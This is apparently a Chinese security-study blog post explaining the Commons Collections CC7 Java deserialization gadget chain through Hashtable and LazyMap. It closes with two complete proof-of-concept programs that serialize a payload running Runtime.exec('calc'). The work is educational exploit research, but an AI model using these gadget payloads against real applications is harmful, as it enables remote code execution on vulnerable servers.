CC7 依旧是寻找 LazyMap 的触发点,这次用到了 Hashtable。
前置知识 Hashtable Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:
HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类。 
两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。 
Hashtable 的 key-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置。 
Hashtable 线程安全,HashMap 线程不安全。 
 
那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?答案是肯定的。
利用分析 hashcode Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut 方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里。
1 2 3 4 5 6 7 8 9     for  (; elements > 0 ; elements--) {         @SuppressWarnings("unchecked")              K  key  =  (K)s.readObject();         @SuppressWarnings("unchecked")              V  value  =  (V)s.readObject();                  reconstitutionPut(table, key, value);     } } 
 
reconstitutionPut 调用了 key 的 hashCode 方法。
1 2 3 4 5 6 7 8 9 10     private  void  reconstitutionPut (Entry<?,?>[] tab, K key, V value)          throws  StreamCorruptedException     {         if  (value == null ) {             throw  new  java .io.StreamCorruptedException();         }         int  hash  =  key.hashCode(); ....     } 
 
学过之前的算简单了,没像PriorityQueue那样多套几层
同样的需要注意条件,在put的时候也会使用使用hashcode函数
所以用 Hashtable 跟 HashMap 触发 LazyMap 方式差不多
1 2 3 4 5 6 7 8 9 10 11 12     public  synchronized  V put (K key, V value)  {                  if  (value == null ) {             throw  new  NullPointerException ();         }                  Entry<?,?> tab[] = table;         int  hash  =  key.hashCode();         int  index  =  (hash & 0x7FFFFFFF ) % tab.length; ...                } 
 
equals 但是在ysoserial中利用点不是这个,通过AbstractMap#equals来触发对LazyMap#get方法的调用,而且AbstractMap是一个抽象类,hashmap是它的子类并且没有重写equals方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  abstract  class  AbstractMap <K,V> implements  Map <K,V> {}	public  boolean  equals (Object o)  {         if  (o == this )             return  true ;         if  (!(o instanceof  Map))             return  false ;         Map<?,?> m = (Map<?,?>) o;         if  (m.size() != size())             return  false ;         try  {             Iterator<Entry<K,V>> i = entrySet().iterator();             while  (i.hasNext()) {                 Entry<K,V> e = i.next();                 K  key  =  e.getKey();                 V  value  =  e.getValue();                 if  (value == null ) {                     if  (!(m.get(key)==null  && m.containsKey(key)))                         return  false ;                 } else  {                     if  (!value.equals(m.get(key)))                         return  false ;                 }             } 
 
如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。
先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut:
先正向更进吧,从我们创了一个类开始,我们干了什么,先看构造方法,有三个本质是还是只有一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28     public  Hashtable (int  initialCapacity)  {         this (initialCapacity, 0.75f );     }     public  Hashtable ()  {         this (11 , 0.75f );     } 	public  Hashtable (int  initialCapacity, float  loadFactor)  {         if  (initialCapacity < 0 )             throw  new  IllegalArgumentException ("Illegal Capacity: " +                                                initialCapacity);         if  (loadFactor <= 0  || Float.isNaN(loadFactor))             throw  new  IllegalArgumentException ("Illegal Load: " +loadFactor);         if  (initialCapacity==0 )             initialCapacity = 1 ;         this .loadFactor = loadFactor;         table = new  Entry <?,?>[initialCapacity];         threshold = (int )Math.min(initialCapacity * loadFactor, MAX_ARRAY_SIZE + 1 );     } Entry类在Hashtable中的构造方法是这样是这样的             protected  Entry (int  hash, K key, V value, Entry<K,V> next)  {             this .hash = hash;             this .key =  key;             this .value = value;             this .next = next; } 
 
看到这里初始化创建了table,但是没有赋值操作,接下来就是我们put会发送什么了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20   public  synchronized  V put (K key, V value)  {       if  (value == null ) {           throw  new  NullPointerException ();       }       Entry<?,?> tab[] = table;       int  hash  =  key.hashCode();       int  index  =  (hash & 0x7FFFFFFF ) % tab.length;       @SuppressWarnings("unchecked")        Entry<K,V> entry = (Entry<K,V>)tab[index];       for (; entry != null  ; entry = entry.next) {           if  ((entry.hash == hash) && entry.key.equals(key)) {               V  old  =  entry.value;               entry.value = value;               return  old;           }       }       addEntry(hash, key, value, index);       return  null ;   } 
 
我们发现第一次put并不会进入循环,因为第一次put从来没有给table赋予过值,来看看addEntry方法干了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 private  void  addEntry (int  hash, K key, V value, int  index)  {    modCount++;     Entry<?,?> tab[] = table;     if  (count >= threshold) {         rehash();         tab = table;         hash = key.hashCode();         index = (hash & 0x7FFFFFFF ) % tab.length;     }     Entry<K,V> e = (Entry<K,V>) tab[index];     tab[index] = new  Entry <>(hash, key, value, e);     count++; } 
 
所以就是赋了一对值进去
第二次put发现,如果第二个传入的key如果和第一个key相同的话,是会覆盖值的,并不会新加一个值,因为return了
1 2 3 4 5 6 for (; entry != null  ; entry = entry.next) {    if  ((entry.hash == hash) && entry.key.equals(key)) {         V  old  =  entry.value;         entry.value = value;         return  old;     } 
 
但是我们想触发反序列就得这里hash相等,而equals不相等了后面再说
现在来看看writeObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private  void  writeObject (java.io.ObjectOutputStream s)         throws  IOException {     Entry<Object, Object> entryStack = null ;     synchronized  (this ) {                  s.defaultWriteObject();                  s.writeInt(table.length);         s.writeInt(count);                  for  (int  index  =  0 ; index < table.length; index++) {             Entry<?,?> entry = table[index];             while  (entry != null ) {                 entryStack =                     new  Entry <>(0 , entry.key, entry.value, entryStack);                 entry = entry.next;             }         }     }          while  (entryStack != null ) {         s.writeObject(entryStack.key);         s.writeObject(entryStack.value);         entryStack = entryStack.next;     } } 
 
发现就是遍历了表的数据将key,value写进去了而已
继续看readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private  void  readObject (java.io.ObjectInputStream s)      throws  IOException, ClassNotFoundException { ... 	table = new  Entry <?,?>[length];     threshold = (int )Math.min(length * lf, MAX_ARRAY_SIZE + 1 );     count = 0 ;     for  (; elements > 0 ; elements--) {         @SuppressWarnings("unchecked")              K  key  =  (K)s.readObject();         @SuppressWarnings("unchecked")              V  value  =  (V)s.readObject();                  reconstitutionPut(table, key, value);     } } 
 
所以这里进入reconstitutionPut函数值都是我们可控的,继续看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private  void  reconstitutionPut (Entry<?,?>[] tab, K key, V value)     throws  StreamCorruptedException {     if  (value == null ) {         throw  new  java .io.StreamCorruptedException();     }     int  hash  =  key.hashCode();     int  index  =  (hash & 0x7FFFFFFF ) % tab.length;     for  (Entry<?,?> e = tab[index] ; e != null  ; e = e.next) {         if  ((e.hash == hash) && e.key.equals(key)) {             throw  new  java .io.StreamCorruptedException();         }     }         Entry<K,V> e = (Entry<K,V>)tab[index];     tab[index] = new  Entry <>(hash, key, value, e);     count++; } 
 
发现这里和put都出不多的,所以第一次还是不会触发 e.key.equals(key), 看看第二次,我们要第二次传入的hash值跟第一次一样才能触发(个布尔短路运输的特性),e.key.equals(key),我们可以通过反射来修改这个值就行了
ysoserial这⾥设置e.key为LazyMap对象,由于LazyMap下没有equals⽅法,所以它会调⽤⽗类AbstractMapDecorator.equals⽅ 法
1 2 3 4 5 6 public  boolean  equals (Object object)  {    if  (object == this ) {         return  true ;     }     return  map.equals(object); } 
 
这里map是我们在lazymap中可以控制的map,我们想它是hashmap(这样才能触发AbstractMap的equals方法),现在看看利用点
这里的传入object,是第二个key是lazymap,因为在AbstractMap的equals方法,调用的是传进来map的get方法,我们想它是lazymap才能触发链子后续,所以传入的必须是lazymap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public  boolean  equals (Object o)  {    if  (o == this )         return  true ;     if  (!(o instanceof  Map))         return  false ;     Map<?,?> m = (Map<?,?>) o;     if  (m.size() != size())         return  false ;     try  {         Iterator<Entry<K,V>> i = entrySet().iterator();         while  (i.hasNext()) {             Entry<K,V> e = i.next();             K  key  =  e.getKey();             V  value  =  e.getValue();             if  (value == null ) {                 if  (!(m.get(key)==null  && m.containsKey(key)))                     return  false ;             } else  {                 if  (!value.equals(m.get(key)))                     return  false ;             }         } 
 
重点是怎么让他们hashcode相等,来看看lazymap的hashcode,因为lazymap没有重写hashcode方法会调用父类的AbstractMapDecorator的hashcode了,所以这里又会调用hashmap的hashcode,来看看
1 2 3 public  int  hashCode ()  {    return  map.hashCode(); } 
 
发现调用是传入map的值我们传入的hashmap来看看
1 2 3 public  final  int  hashCode ()  {    return  Objects.hashCode(key) ^ Objects.hashCode(value); } 
 
所以想要hashcode相等让他们这里就里相等就行了
都为空肯定相等吧来
所以来先把利用链一步一步搓出来,第一步是让hashtable先放入2个值
1 2 3 4 5 6 7 HashMap  hashmap1  =  new  HashMap ();HashMap  hashmap2  =  new  HashMap ();LazyMap  map1  = (LazyMap) LazyMap.decorate(hashmap1,fack);LazyMap  map2  = (LazyMap) LazyMap.decorate(hashmap2,fack);Hashtable  table  =  new  Hashtable ();table.put(map1.1 ) table.put(map2,1 ); 
 
来看看这样会发生什么,在第二次put调用hashcode的时候也会调用一次equals
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18         if  (m.size() != size())             return  false ; try  {            Iterator<Entry<K,V>> i = entrySet().iterator();             while  (i.hasNext()) {                 Entry<K,V> e = i.next();                 K  key  =  e.getKey();                 V  value  =  e.getValue();                 if  (value == null ) {                     if  (!(m.get(key)==null  && m.containsKey(key)))                         return  false ;                 } else  {                     if  (!value.equals(m.get(key)))                         return  false ;                 }             }         } ...return true ; 
 
发现不管hashmap不为空才能进入while循环,有没有设置值都会触发一次第二个Laymap的get方法,而且我们都得想办法为false才行,而且之前就说过了lazymap的get方法了
1 2 3 4 5 6 7 8 public  Object get (Object key)  {    if  (map.containsKey(key) == false ) {         Object  value  =  factory.transform(key);         map.put(key, value);         return  value;     }     return  map.get(key); } 
 
如果没有值,第一次会创一个进去,在这里put创了值了,就导致里面的map又不相同了,多了传入进来的key,所以后面得删除一次
问题是怎么让hashcode相等了
在java中有一个小bug:”yy”.hashCode() == “zZ”.hashCode()
正是这个小bug让这里能够利用,所以这里我们需要将map中put的值设置为yy和zZ,就能让hashcode相等了
然后get方法会调用transform赋予值给value,让他们不相等transform返回值不相等map1的value就行了
所以重新写
1 2 3 4 5 6 7 8 9 10 HashMap  hashmap1  =  new  HashMap ();HashMap  hashmap2  =  new  HashMap ();hashmap1.put("yy" ,1 ); hashmap2.put("zZ" ,1 ); LazyMap  map1  = (LazyMap) LazyMap.decorate(hashmap1,fack);LazyMap  map2  = (LazyMap) LazyMap.decorate(hashmap2,fack);Hashtable  table  =  new  Hashtable ();table.put(map1.1 ) table.put(map2,1 ); map2.remove("yy" ); 
 
这样就没什么问题了,但是其实第一个我们都可以不用Lazymap,因为第一个其实实际上最后用的都是hashmap的方法,所以通过反射修改里面fack链改为正常的就行了
攻击构造 hashcode() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  java.io.FileInputStream;import  java.io.FileOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.util.HashMap;import  java.util.Hashtable;public  class  CC7  {    public  static  void  main (String[] args)  throws  Exception{         ChainedTransformer  chain  =  new  ChainedTransformer (new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" })         });         ChainedTransformer  fack  =  new  ChainedTransformer (new  Transformer []{});         LazyMap  map  =  (LazyMap) LazyMap.decorate(new  HashMap (),fack);         TiedMapEntry  entry  =  new  TiedMapEntry (map,"baicany" );         Hashtable  table  =  new  Hashtable ();         table.put(entry,"baicany" );         Field f= LazyMap.class.getDeclaredField("factory" );         f.setAccessible(true );         f.set(map,chain);         map.clear();         try {         ObjectOutputStream  outputStream  =  new  ObjectOutputStream (new  FileOutputStream ("cc7.txt" ));         outputStream.writeObject(table);         outputStream.close();         ObjectInputStream  inputStream  =  new  ObjectInputStream (new  FileInputStream ("cc7.txt" ));         inputStream.readObject();     }catch (Exception e){         e.printStackTrace();         }     } } 
 
后面也可以用c3链的后续,反正随便拼了,反射改值也可以改其他的
equal() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.map.LazyMap;import  java.io.FileInputStream;import  java.io.FileOutputStream;import  java.io.ObjectInputStream;import  java.io.ObjectOutputStream;import  java.lang.reflect.Field;import  java.util.HashMap;import  java.util.Hashtable;public  class  CC7  {    public  static  void  main (String[] args)  throws  Exception{         ChainedTransformer  chain  =  new  ChainedTransformer (new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" ,new  Class []{String.class,Class[].class},new  Object []{"getRuntime" ,null }),                 new  InvokerTransformer ("invoke" ,new  Class []{Object.class,Object[].class},new  Object []{null ,null }),                 new  InvokerTransformer ("exec" ,new  Class []{String.class},new  Object []{"calc" })         });         ChainedTransformer  fack  =  new  ChainedTransformer (new  Transformer []{});         HashMap  map1  =  new  HashMap <>();         HashMap  map2  =  new  HashMap <>();         map1.put("yy" ,"baicany" );         map2.put("zZ" ,"baicany" );         LazyMap  lazymap1  =  (LazyMap) LazyMap.decorate(map1,fack);         LazyMap  lazymap2  =  (LazyMap) LazyMap.decorate(map2,fack);         Hashtable  table  =  new  Hashtable <>();         table.put(lazymap1,"baicany" );         table.put(lazymap2,"baicany" );         map2.remove("yy" );         Field  f  =  LazyMap.class.getDeclaredField("factory" );         f.setAccessible(true );         f.set(lazymap2,chain);         try {             ObjectOutputStream  outputStream  =  new  ObjectOutputStream (new  FileOutputStream ("cc7.txt" ));             outputStream.writeObject(table);             outputStream.close();             ObjectInputStream  inputStream  =  new  ObjectInputStream (new  FileInputStream ("cc7.txt" ));             inputStream.readObject();         }catch (Exception e){             e.printStackTrace();         }     } } 
 
哪里也可以改成这样反正没什么区别
利用链 1 2 3 4 5 6 Hashtable.readOject->     Hashtable.reconstitutionPut->     	TiedMapEntry.hashcode->     		Lazy.map->     			ChainedTransformer.transformer->     				.... 
 
1 2 3 4 5 Hashtable .readOject->     Hashtable .reconstitutionPut->     	 AbstractMap .equals->     	 	 LazyMap .get->     	 	  	transformer ()-> 
 
这个利用缩了中间利用部分,如果是ysoserial的话
1 2 3 4 5 6 7 8 9 Hashtable .readOject->     Hashtable .reconstitutionPut->     	LazyMap .equals->     		AbstractMapDecorator .equals->     			HashMap .equals->     				AbstractMap .equals->     					LazyMap .get->     						transformer()     						->.... 
 
cc链到此就完啦,终于搞完啦,最后一条链子还当头一棒啊
依赖版本
commons-collections : 3.1